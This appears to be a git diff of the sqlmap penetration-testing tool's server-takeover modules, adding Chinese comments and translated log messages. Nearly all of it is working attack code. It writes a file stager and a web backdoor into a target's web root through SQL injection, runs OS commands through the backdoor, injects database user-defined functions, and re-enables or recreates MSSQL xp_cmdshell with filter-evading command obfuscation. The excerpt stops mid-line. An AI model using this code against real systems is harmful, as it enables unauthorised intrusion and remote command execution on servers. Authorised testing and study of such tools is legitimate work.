local path of the shared library? " @@ -213,6 +273,7 @@ class UDF(object): else: self.udfLocalFile = conf.shLib + # 验证共享库文件 if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) @@ -231,9 +292,11 @@ class UDF(object): errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) + # 获取共享库名称和扩展名 self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] + # 获取要创建的UDF数量 msg = "how many user-defined functions do you want to create " msg += "from the shared library? " @@ -251,6 +314,7 @@ class UDF(object): else: logger.warning("invalid value, only digits are allowed") + # 循环获取每个UDF的信息 for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) @@ -262,6 +326,7 @@ class UDF(object): else: logger.warning("you need to specify the name of the UDF") + # 设置默认返回类型 if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): @@ -269,6 +334,7 @@ class UDF(object): self.udfs[udfName]["input"] = [] + # 获取输入参数数量 msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName @@ -282,6 +348,7 @@ class UDF(object): else: logger.warning("invalid value, only digits >= 0 are allowed") + # 获取每个输入参数的类型 for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) @@ -296,6 +363,7 @@ class UDF(object): self.udfs[udfName]["input"].append(parType) break + # 获取返回值类型 msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType @@ -308,12 +376,14 @@ class UDF(object): self.udfs[udfName]["return"] = retType break + # 注入UDF success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False + # 询问是否要调用注入的UDF msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() @@ -325,6 +395,7 @@ class UDF(object): self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException + # 循环调用UDF while True: udfList = [] msg = "which UDF do you want to call?" @@ -351,6 +422,7 @@ class UDF(object): if not isinstance(choice, int): break + # 构建UDF调用命令 cmd = "" count = 1 udfToCall = udfList[choice - 1] @@ -378,6 +450,7 @@ class UDF(object): msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " + # 执行UDF并获取返回值 if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) @@ -393,4 +466,5 @@ class UDF(object): if not readInput(msg, default='Y', boolean=True): break + # 清理UDF self.cleanup(udfDict=self.udfs) diff --git a/src/sqlmap-master/lib/takeover/web.py b/src/sqlmap-master/lib/takeover/web.py index 3c7a819..2a65366 100644 --- a/src/sqlmap-master/lib/takeover/web.py +++ b/src/sqlmap-master/lib/takeover/web.py @@ -5,76 +5,90 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入所需的标准库 import io import os import posixpath import re import tempfile -from extra.cloak.cloak import decloak -from lib.core.agent import agent -from lib.core.common import arrayizeValue -from lib.core.common import Backend -from lib.core.common import extractRegexResult -from lib.core.common import getAutoDirectories -from lib.core.common import getManualDirectories -from lib.core.common import getPublicTypeMembers -from lib.core.common import getSQLSnippet -from lib.core.common import getTechnique -from lib.core.common import getTechniqueData -from lib.core.common import isDigit -from lib.core.common import isTechniqueAvailable -from lib.core.common import isWindowsDriveLetterPath -from lib.core.common import normalizePath -from lib.core.common import ntToPosixSlashes -from lib.core.common import openFile -from lib.core.common import parseFilePaths -from lib.core.common import posixToNtSlashes -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.common import readInput -from lib.core.common import singleTimeWarnMessage -from lib.core.compat import xrange -from lib.core.convert import encodeHex -from lib.core.convert import getBytes -from lib.core.convert import getText -from lib.core.convert import getUnicode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.datatype import OrderedSet -from lib.core.enums import DBMS -from lib.core.enums import HTTP_HEADER -from lib.core.enums import OS -from lib.core.enums import PAYLOAD -from lib.core.enums import PLACE -from lib.core.enums import WEB_PLATFORM -from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT -from lib.core.settings import EVENTVALIDATION_REGEX -from lib.core.settings import SHELL_RUNCMD_EXE_TAG -from lib.core.settings import SHELL_WRITABLE_DIR_TAG -from lib.core.settings import VIEWSTATE_REGEX -from lib.request.connect import Connect as Request -from thirdparty.six.moves import urllib as _urllib +# 导入自定义模块和第三方库 +from extra.cloak.cloak import decloak # 用于解密混淆的文件 +from lib.core.agent import agent # SQL注入代理模块 +from lib.core.common import arrayizeValue # 将值转换为数组 +from lib.core.common import Backend # 后端DBMS信息 +from lib.core.common import extractRegexResult # 正则提取结果 +from lib.core.common import getAutoDirectories # 获取自动检测的目录 +from lib.core.common import getManualDirectories # 获取手动指定的目录 +from lib.core.common import getPublicTypeMembers # 获取类的公共成员 +from lib.core.common import getSQLSnippet # 获取SQL代码片段 +from lib.core.common import getTechnique # 获取注入技术 +from lib.core.common import getTechniqueData # 获取注入技术数据 +from lib.core.common import isDigit # 判断是否为数字 +from lib.core.common import isTechniqueAvailable # 判断注入技术是否可用 +from lib.core.common import isWindowsDriveLetterPath # 判断是否为Windows驱动器路径 +from lib.core.common import normalizePath # 规范化路径 +from lib.core.common import ntToPosixSlashes # Windows路径转POSIX路径 +from lib.core.common import openFile # 打开文件 +from lib.core.common import parseFilePaths # 解析文件路径 +from lib.core.common import posixToNtSlashes # POSIX路径转Windows路径 +from lib.core.common import randomInt # 生成随机整数 +from lib.core.common import randomStr # 生成随机字符串 +from lib.core.common import readInput # 读取用户输入 +from lib.core.common import singleTimeWarnMessage # 单次警告消息 +from lib.core.compat import xrange # 兼容Python2/3的range +from lib.core.convert import encodeHex # 十六进制编码 +from lib.core.convert import getBytes # 获取字节串 +from lib.core.convert import getText # 获取文本 +from lib.core.convert import getUnicode # 获取Unicode字符串 +from lib.core.data import conf # 配置数据 +from lib.core.data import kb # 知识库数据 +from lib.core.data import logger # 日志记录器 +from lib.core.data import paths # 路径信息 +from lib.core.datatype import OrderedSet # 有序集合 +from lib.core.enums import DBMS # 数据库管理系统枚举 +from lib.core.enums import HTTP_HEADER # HTTP头部枚举 +from lib.core.enums import OS # 操作系统枚举 +from lib.core.enums import PAYLOAD # 载荷类型枚举 +from lib.core.enums import PLACE # 注入位置枚举 +from lib.core.enums import WEB_PLATFORM # Web平台枚举 +from lib.core.exception import SqlmapNoneDataException # sqlmap异常类 +from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT # 后门命令执行超时设置 +from lib.core.settings import EVENTVALIDATION_REGEX # ASP.NET事件验证正则 +from lib.core.settings import SHELL_RUNCMD_EXE_TAG # Shell运行命令可执行文件标签 +from lib.core.settings import SHELL_WRITABLE_DIR_TAG # Shell可写目录标签 +from lib.core.settings import VIEWSTATE_REGEX # ASP.NET视图状态正则 +from lib.request.connect import Connect as Request # HTTP请求类 +from thirdparty.six.moves import urllib as _urllib # URL处理库 class Web(object): """ - This class defines web-oriented OS takeover functionalities for - plugins. + 这个类定义了Web相关的操作系统接管功能。 + 主要用于上传和执行Web后门,实现对目标系统的远程控制。 """ def __init__(self): - self.webPlatform = None - self.webBaseUrl = None - self.webBackdoorUrl = None - self.webBackdoorFilePath = None - self.webStagerUrl = None - self.webStagerFilePath = None - self.webDirectory = None + """ + 初始化Web类的属性 + """ + self.webPlatform = None # Web平台类型(PHP/ASP/ASPX等) + self.webBaseUrl = None # Web根URL + self.webBackdoorUrl = None # 后门URL + self.webBackdoorFilePath = None # 后门文件路径 + self.webStagerUrl = None # 文件上传器URL + self.webStagerFilePath = None # 文件上传器路径 + self.webDirectory = None # Web目录 def webBackdoorRunCmd(self, cmd): + """ + 通过Web后门执行系统命令 + + 参数: + cmd: 要执行的命令 + + 返回: + 命令执行的输出结果 + """ if self.webBackdoorUrl is None: return @@ -83,10 +97,13 @@ class Web(object): if not cmd: cmd = conf.osCmd + # 构造命令执行URL cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) + # 发送请求执行命令 page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: + # 从响应中提取命令输出 output = re.search(r"
(.+?)", page, re.I | re.S) if output: @@ -95,18 +112,30 @@ class Web(object): return output def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): + """ + 上传文件到目标服务器 + + 参数: + destFileName: 目标文件名 + directory: 目标目录 + stream: 文件流对象 + content: 文件内容 + filepath: 本地文件路径 + + 返回: + 上传是否成功 + """ if filepath is not None: if filepath.endswith('_'): - content = decloak(filepath) # cloaked file + content = decloak(filepath) # 解密混淆文件 else: with openFile(filepath, "rb", encoding=None) as f: content = f.read() if content is not None: - stream = io.BytesIO(getBytes(content)) # string content + stream = io.BytesIO(getBytes(content)) # 将内容转换为字节流 - # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 - # Reference: https://stackoverflow.com/a/4677542 + # 设置流的长度属性 stream.seek(0, os.SEEK_END) stream.len = stream.tell() stream.seek(0, os.SEEK_SET) @@ -114,7 +143,18 @@ class Web(object): return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): - stream.seek(0) # Rewind + """ + 通过文件流上传文件的内部方法 + + 参数: + stream: 文件流对象 + destFileName: 目标文件名 + directory: 目标目录 + + 返回: + 上传是否成功 + """ + stream.seek(0) # 重置流位置 try: setattr(stream, "name", destFileName) @@ -122,16 +162,19 @@ class Web(object): pass if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): + # 构造多部分表单数据 multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } + # 对ASP.NET平台添加特殊参数 if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE + # 发送上传请求 page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in (page or ""): @@ -146,10 +189,22 @@ class Web(object): return False def _webFileInject(self, fileContent, fileName, directory): + """ + 通过SQL注入写入文件的内部方法 + + 参数: + fileContent: 文件内容 + fileName: 文件名 + directory: 目标目录 + + 返回: + 注入结果页面 + """ outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" + # 根据注入技术构造查询 if isTechniqueAvailable(getTechnique()): where = getTechniqueData().where @@ -157,8 +212,9 @@ class Web(object): randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) + # 构造写文件的SQL语句 query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) - query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + query = agent.prefixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) @@ -166,26 +222,32 @@ class Web(object): def webInit(self): """ - This method is used to write a web backdoor (agent) on a writable - remote directory within the web server document root. + 初始化Web后门 + 该方法用于在Web服务器的可写目录中写入Web后门(代理) """ + # 如果已经初始化过,直接返回 if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return + # 检查数据库和操作系统类型 self.checkDbmsOs() + # 确定Web平台类型 default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) + # 根据URL后缀猜测Web平台 for ext in choices: if conf.url.endswith(ext): default = ext break + # 如果无法猜测,根据操作系统设置默认值 if not default: default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP + # 提示用户选择Web平台 message = "which web application language does the web server " message += "support?\n" @@ -198,6 +260,7 @@ class Web(object): message = message[:-1] + # 获取用户输入的Web平台选择 while True: choice = readInput(message, default=str(default)) @@ -211,6 +274,7 @@ class Web(object): self.webPlatform = choices[int(choice) - 1] break + # 尝试获取完整的文件路径信息 if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " @@ -219,6 +283,7 @@ class Web(object): headers = {} been = set([conf.url]) + # 尝试访问WordPress相关路径 for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: @@ -230,6 +295,7 @@ class Web(object): finally: been.add(url) + # 尝试访问带~的URL url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: @@ -240,6 +306,7 @@ class Web(object): finally: been.add(url) + # 尝试不同的参数注入方式 for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) @@ -247,6 +314,7 @@ class Web(object): page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) + # 尝试Cookie注入 cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] @@ -264,10 +332,12 @@ class Web(object): page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) + # 获取可能的目标目录列表 directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) + # 处理URL路径 path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': @@ -278,33 +348,39 @@ class Web(object): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ + # 生成后门文件名和内容 backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) + # 获取文件上传器内容 stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) + # 遍历目录尝试上传后门 for directory in directories: if not directory: continue + # 生成上传器文件名和路径 stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) + # 规范化目录路径 if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' - # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method + # 尝试通过LIMIT方法上传文件上传器 infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) + # 检查上传器是否可访问 for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) @@ -318,7 +394,7 @@ class Web(object): uploaded = True break - # Fall-back to UNION queries file upload method + # 如果LIMIT方法失败,尝试使用UNION查询方法 if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory @@ -332,16 +408,20 @@ class Web(object): stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) + # 创建临时文件 handle, filename = tempfile.mkstemp() os.close(handle) + # 写入上传器内容 with openFile(filename, "w+b") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) + # 通过UNION查询上传文件 self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + # 检查上传器是否可访问 for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) @@ -359,12 +439,14 @@ class Web(object): if not uploaded: continue + # 检查上传器是否被正确解释执行 if "<%" in uplPage or "" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warning(warnMsg) continue + # 处理ASP.NET特殊参数 elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) @@ -373,6 +455,7 @@ class Web(object): infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) + # 处理ASP平台特殊情况 if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) @@ -381,6 +464,7 @@ class Web(object): else: continue + # 上传后门和命令执行组件 _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) @@ -390,6 +474,7 @@ class Web(object): continue else: + # 上传后门文件 if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " @@ -401,6 +486,7 @@ class Web(object): warnMsg += "different servers" logger.warning(warnMsg) + # 询问是否使用相同方法重试 message = "do you want to try the same method used " message += "for the file stager? [Y/n] " @@ -414,6 +500,7 @@ class Web(object): self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) + # 测试后门是否可用 testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) diff --git a/src/sqlmap-master/lib/takeover/xp_cmdshell.py b/src/sqlmap-master/lib/takeover/xp_cmdshell.py index 90cf3c9..da291c8 100644 --- a/src/sqlmap-master/lib/takeover/xp_cmdshell.py +++ b/src/sqlmap-master/lib/takeover/xp_cmdshell.py @@ -5,76 +5,109 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.agent import agent -from lib.core.common import Backend -from lib.core.common import flattenValue -from lib.core.common import getLimitRange -from lib.core.common import getSQLSnippet -from lib.core.common import hashDBWrite -from lib.core.common import isListLike -from lib.core.common import isNoneValue -from lib.core.common import isNumPosStrValue -from lib.core.common import isTechniqueAvailable -from lib.core.common import popValue -from lib.core.common import pushValue -from lib.core.common import randomStr -from lib.core.common import readInput -from lib.core.common import wasLastResponseDelayed -from lib.core.compat import xrange -from lib.core.convert import encodeHex -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.decorators import stackedmethod -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import HASHDB_KEYS -from lib.core.enums import PAYLOAD -from lib.core.exception import SqlmapUnsupportedFeatureException -from lib.core.threads import getCurrentThreadData -from lib.request import inject +# 导入所需的模块和函数 +from lib.core.agent import agent # 导入agent模块,用于执行SQL命令 +from lib.core.common import Backend # 导入Backend模块,用于获取数据库后端信息 +from lib.core.common import flattenValue # 导入flattenValue函数,用于将嵌套列表展平成一维列表 +from lib.core.common import getLimitRange # 导入getLimitRange函数,用于获取分页查询的范围 +from lib.core.common import getSQLSnippet # 导入getSQLSnippet函数,用于获取预定义的SQL代码片段 +from lib.core.common import hashDBWrite # 导入hashDBWrite函数,用于将数据写入哈希数据库 +from lib.core.common import isListLike # 导入isListLike函数,用于判断对象是否类似列表 +from lib.core.common import isNoneValue # 导入isNoneValue函数,用于判断值是否为None +from lib.core.common import isNumPosStrValue # 导入isNumPosStrValue函数,用于判断字符串是否为正数 +from lib.core.common import isTechniqueAvailable # 导入isTechniqueAvailable函数,用于检查SQL注入技术是否可用 +from lib.core.common import popValue # 导入popValue函数,用于从栈中弹出值 +from lib.core.common import pushValue # 导入pushValue函数,用于将值压入栈 +from lib.core.common import randomStr # 导入randomStr函数,用于生成随机字符串 +from lib.core.common import readInput # 导入readInput函数,用于读取用户输入 +from lib.core.common import wasLastResponseDelayed # 导入wasLastResponseDelayed函数,用于检查上次响应是否有延迟 +from lib.core.compat import xrange # 导入xrange函数,用于兼容Python2和3的range函数 +from lib.core.convert import encodeHex # 导入encodeHex函数,用于十六进制编码 +from lib.core.data import conf # 导入conf模块,用于访问全局配置 +from lib.core.data import kb # 导入kb模块,用于访问知识库 +from lib.core.data import logger # 导入logger模块,用于日志记录 +from lib.core.decorators import stackedmethod # 导入stackedmethod装饰器,用于堆叠查询方法 +from lib.core.enums import CHARSET_TYPE # 导入CHARSET_TYPE枚举,定义字符集类型 +from lib.core.enums import DBMS # 导入DBMS枚举,定义数据库类型 +from lib.core.enums import EXPECTED # 导入EXPECTED枚举,定义期望的返回类型 +from lib.core.enums import HASHDB_KEYS # 导入HASHDB_KEYS枚举,定义哈希数据库的键 +from lib.core.enums import PAYLOAD # 导入PAYLOAD枚举,定义SQL注入的载荷类型 +from lib.core.exception import SqlmapUnsupportedFeatureException # 导入异常类,用于不支持的功能 +from lib.core.threads import getCurrentThreadData # 导入getCurrentThreadData函数,用于获取当前线程数据 +from lib.request import inject # 导入inject模块,用于执行SQL注入 class XP_cmdshell(object): """ - This class defines methods to deal with Microsoft SQL Server - xp_cmdshell extended procedure for plugins. + 这个类用于处理Microsoft SQL Server的xp_cmdshell扩展存储过程 + xp_cmdshell是SQL Server提供的一个系统存储过程,可以执行操作系统命令 + 该类提供了创建、配置、测试和执行xp_cmdshell的各种方法 """ def __init__(self): - self.xpCmdshellStr = "master..xp_cmdshell" + """ + 初始化XP_cmdshell类的实例 + 设置xp_cmdshell存储过程的默认名称为master..xp_cmdshell + """ + self.xpCmdshellStr = "master..xp_cmdshell" # 设置默认的xp_cmdshell存储过程名称 def _xpCmdshellCreate(self): + """ + 创建新的xp_cmdshell存储过程 + 当原始的xp_cmdshell被禁用时,可以创建一个新的具有相同功能的存储过程 + 主要步骤: + 1. 对于非SQL Server 2000版本,需要先激活sp_OACreate + 2. 生成随机字符串作为新存储过程名称的一部分 + 3. 执行创建存储过程的SQL命令 + """ cmd = "" + # 如果不是SQL Server 2000版本,需要先激活sp_OACreate if not Backend.isVersionWithin(("2000",)): - logger.debug("activating sp_OACreate") - + logger.debug("激活sp_OACreate") + # 获取激活sp_OACreate的SQL代码片段 cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) - self._randStr = randomStr(lowercase=True) - self.xpCmdshellStr = "master..new_xp_cmdshell" + # 生成随机字符串作为新存储过程的一部分 + self._randStr = randomStr(lowercase=True) # 生成小写随机字符串 + self.xpCmdshellStr = "master..new_xp_cmdshell" # 设置新的存储过程名称 + # 获取创建新xp_cmdshell的SQL代码片段 cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) + # 如果不是SQL Server 2000,需要重新配置 if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" - inject.goStacked(agent.runAsDBMSUser(cmd)) + inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行创建命令 def _xpCmdshellConfigure2005(self, mode): - debugMsg = "configuring xp_cmdshell using sp_configure " - debugMsg += "stored procedure" + """ + 配置SQL Server 2005及更高版本的xp_cmdshell + + 参数: + mode: 整数,1表示启用xp_cmdshell,0表示禁用 + + 返回: + str: 配置xp_cmdshell的SQL命令 + """ + debugMsg = "使用sp_configure存储过程配置xp_cmdshell" logger.debug(debugMsg) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) - return cmd def _xpCmdshellConfigure2000(self, mode): - debugMsg = "configuring xp_cmdshell using sp_addextendedproc " - debugMsg += "stored procedure" + """ + 配置SQL Server 2000版本的xp_cmdshell + + 参数: + mode: 整数,1表示启用xp_cmdshell,0表示禁用 + + 返回: + str: 配置xp_cmdshell的SQL命令 + """ + debugMsg = "使用sp_addextendedproc存储过程配置xp_cmdshell" logger.debug(debugMsg) if mode == 1: @@ -85,68 +118,97 @@ class XP_cmdshell(object): return cmd def _xpCmdshellConfigure(self, mode): + """ + 根据SQL Server版本配置xp_cmdshell + 会自动判断SQL Server版本并调用相应的配置方法 + + 参数: + mode: 整数,1表示启用xp_cmdshell,0表示禁用 + """ if Backend.isVersionWithin(("2000",)): - cmd = self._xpCmdshellConfigure2000(mode) + cmd = self._xpCmdshellConfigure2000(mode) # SQL Server 2000版本 else: - cmd = self._xpCmdshellConfigure2005(mode) + cmd = self._xpCmdshellConfigure2005(mode) # SQL Server 2005及以上版本 - inject.goStacked(agent.runAsDBMSUser(cmd)) + inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行配置命令 def _xpCmdshellCheck(self): + """ + 检查xp_cmdshell是否可用 + 通过执行ping命令并检查响应延迟来测试xp_cmdshell的可用性 + + 返回: + bool: True表示xp_cmdshell可用,False表示不可用 + """ + # 使用ping命令测试,延迟时间为配置的时间的2倍 cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) - return wasLastResponseDelayed() + return wasLastResponseDelayed() # 返回是否发生了预期的延迟 @stackedmethod def _xpCmdshellTest(self): + """ + 测试xp_cmdshell的功能是否正常 + 通过执行简单的echo命令来验证xp_cmdshell是否能正常工作 + 同时检查是否有权限写入临时目录 + """ threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True - logger.info("testing if xp_cmdshell extended procedure is usable") - output = self.xpCmdshellEvalCmd("echo 1") + logger.info("测试xp_cmdshell扩展存储过程是否可用") + output = self.xpCmdshellEvalCmd("echo 1") # 执行测试命令 if output == "1": - logger.info("xp_cmdshell extended procedure is usable") + logger.info("xp_cmdshell扩展存储过程可用") elif isNoneValue(output) and conf.dbmsCred: - errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() - errMsg += "storing console output within the back-end file system " - errMsg += "does not have writing permissions for the DBMS process. " - errMsg += "You are advised to manually adjust it with option " - errMsg += "'--tmp-path' or you won't be able to retrieve " - errMsg += "the command(s) output" + errMsg = "似乎后端文件系统中用于存储控制台输出的临时目录('%s')" % self.getRemoteTempPath() + errMsg += "对DBMS进程没有写入权限。" + errMsg += "建议您使用'--tmp-path'选项手动调整," + errMsg += "否则将无法获取命令输出" logger.error(errMsg) elif isNoneValue(output): - logger.error("unable to retrieve xp_cmdshell output") + logger.error("无法获取xp_cmdshell输出") else: - logger.info("xp_cmdshell extended procedure is usable") + logger.info("xp_cmdshell扩展存储过程可用") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): - echoedLines = [] - cmd = "" - charCounter = 0 - maxLen = 512 - + """ + 使用xp_cmdshell写入文件 + 通过echo命令将内容写入指定的文件 + + 参数: + fileContent: 要写入的文件内容 + tmpPath: 临时文件路径 + randDestFile: 随机生成的目标文件名 + """ + echoedLines = [] # 存储echo命令行 + cmd = "" # 最终要执行的命令 + charCounter = 0 # 字符计数器 + maxLen = 512 # 单条命令最大长度 + + # 处理文件内容,转换为行列表 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") + # 为每行内容创建echo命令 for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) + # 分批执行命令以避免命令过长 for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) - cmd = "" charCounter = 0 @@ -154,17 +216,23 @@ class XP_cmdshell(object): self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): - # When user provides DBMS credentials (with --dbms-cred) we need to - # redirect the command standard output to a temporary file in order - # to retrieve it afterwards - # NOTE: this does not need to be done when the command is 'del' to - # delete the temporary file + """ + 构造xp_cmdshell命令 + 将要执行的命令封装成SQL语句 + + 参数: + cmd: 要执行的命令 + insertIntoTable: 存储结果的表名 + + 返回: + str: 构造好的SQL命令 + """ + # 当用户提供DBMS凭据时,需要将命令输出重定向到临时文件 if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) - # Obfuscate the command to execute, also useful to bypass filters - # on single-quotes + # 混淆要执行的命令,也可用于绕过单引号过滤 self._randStr = randomStr(lowercase=True) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr @@ -173,11 +241,7 @@ class XP_cmdshell(object): except UnicodeError: self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) - # Insert the command standard output into a support table, - # 'sqlmapoutput', except when DBMS credentials are provided because - # it does not work unfortunately, BULK INSERT needs to be used to - # retrieve the output when OPENROWSET is used hence the redirection - # to a temporary file from above + # 将命令输出插入支持表'sqlmapoutput' if insertIntoTable and not conf.dbmsCred: self._forgedCmd += 